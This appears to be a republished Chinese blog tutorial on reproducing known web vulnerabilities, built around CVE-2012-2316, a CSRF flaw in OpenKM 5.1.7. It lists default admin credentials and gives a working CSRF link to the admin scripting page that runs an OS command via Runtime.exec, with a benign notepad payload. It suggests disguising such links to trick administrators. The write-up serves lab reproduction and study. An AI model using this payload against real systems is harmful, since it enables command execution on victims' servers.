以CVE-2012-2316为例,总结一些已知Web软件漏洞重现的方法

来源:互联网 发布:网络主播最爱唱的歌 编辑:程序博客网 时间:2024/05/21 09:54

这段时间由于实验和演示的需求,需要找一些已知的漏洞(最好有CVE编号)的Java软件。之前也做过很多这样的工作,特别是找过很多PHP的CVE漏洞。这次把基本的方法总结一下,也方便其他童鞋。

如果知道软件的名字,可以直接在这里搜索:http://web.nvd.nist.gov/view/vuln/search,就我个人体会而言,nist的搜索速度比CVE快很多。接下来以我们之前的一个研究对象,OpenKM为例来说明。按名字搜索之后,可以看到OpenKM有3个有CVE编号的漏洞,其中两个还是12年9月份发现的。最新的一个CVE-2012-2316的解释里,说明了OpenKM 5.1.7版本有跨站请求伪造(Cross-site request forgery,CSRF)漏洞。

所以,我们在这里:http://sourceforge.net/projects/openkm/files/5.1/ 选择OpenKM的5.1.7版本下载,这个版本是基于JBOSS的,我之前压根就没有用过,不过其实和Tomcat,WebLogic相比,基本原理都差不多。将压缩包解压后,发现这个目录下:OpenKM-5.1.7_JBoss-4.2.3.GA\jboss-4.2.3.GA\bin 有“run.bat”(我们这里还是以Windows系统为例)。随便搜索一下,就可以发现很多介绍OpenKM安装和使用的文档,如http://wenku.baidu.com/view/ad85f8b769dc5022aaea0083.html 和http://blog.csdn.net/eebbk110/article/details/6289344 这两篇文档中介绍到,启动run.bat后,在本地登录:http://localhost:8080/OpenKM,管理员的用户名密码分别为:user: okmAdmin  password: admin,尝试以后发现可以登录。(实际上大部分Web系统还是需要简单配置一下数据库之类的,但是也有很多系统为了演示方便,直接使用内存数据库,所以直接启动就可以使用。)

可以以管理员登录之后,我们来看看怎么利用这个漏洞:

在这个页面中:http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-2316 实际上会给出许多参考资料的URL,而且实际上,基本上所有对漏洞详细介绍的内容,都会出现在邮件列表archive中。我们以第一个URL为例:http://www.osvdb.org/78106 这里面没有什么对漏洞详细的介绍,但是给出了邮件列表存档的链接地址,一般这类信息都是最有用的。我们选择第一个邮件列表存档的地址:http://archives.neohapsis.com/archives/bugtraq/2012-01/0008.html 进去以后仔细读一下,一般就能知道怎么利用了。

这个漏洞尤其简单,感兴趣的朋友可以试试:启动上面说的:run.bat之后,在 http://localhost:8080/OpenKM 中输入刚才说的管理员用户名密码,然后,我们假设这样一个场景,一个朋友给你发过来一个链接,或者你收到一封邮件,里面有一个看起来没有什么恶意的URL,例如:http://news.163.com/ ,但实际上这个链接已经被我改成了:

http://localhost:8080/OpenKM/admin/scripting.jsp?script=String+cmd+%3D+new+String%28"cmd+%2Fk+start+notepad"%29%3B+Runtime.getRuntime%28%29.exec%28cmd%29%3B

你如果点击以后,就会跳出来记事本!也就是说,黑客可以用这段链接实现几乎所有你这位管理员可以进行的操作(甚至可以删除文件、增加用户,truncate数据库),这就是跨站请求伪造的危害。上面URL的后面一部分实际上是这个代码:

String cmd = new String("cmd /k start notepad"); Runtime.getRuntime().exec(cmd);

至于代码转URL,有很多种方法,如果手头没有工具,可以直接把这段代码放到百度搜索框里,结果页面URL就包含了上面那一部分啦。

这些就是一些基本经验和方法,希望能对其他童鞋起到帮助作用。

原创粉丝点击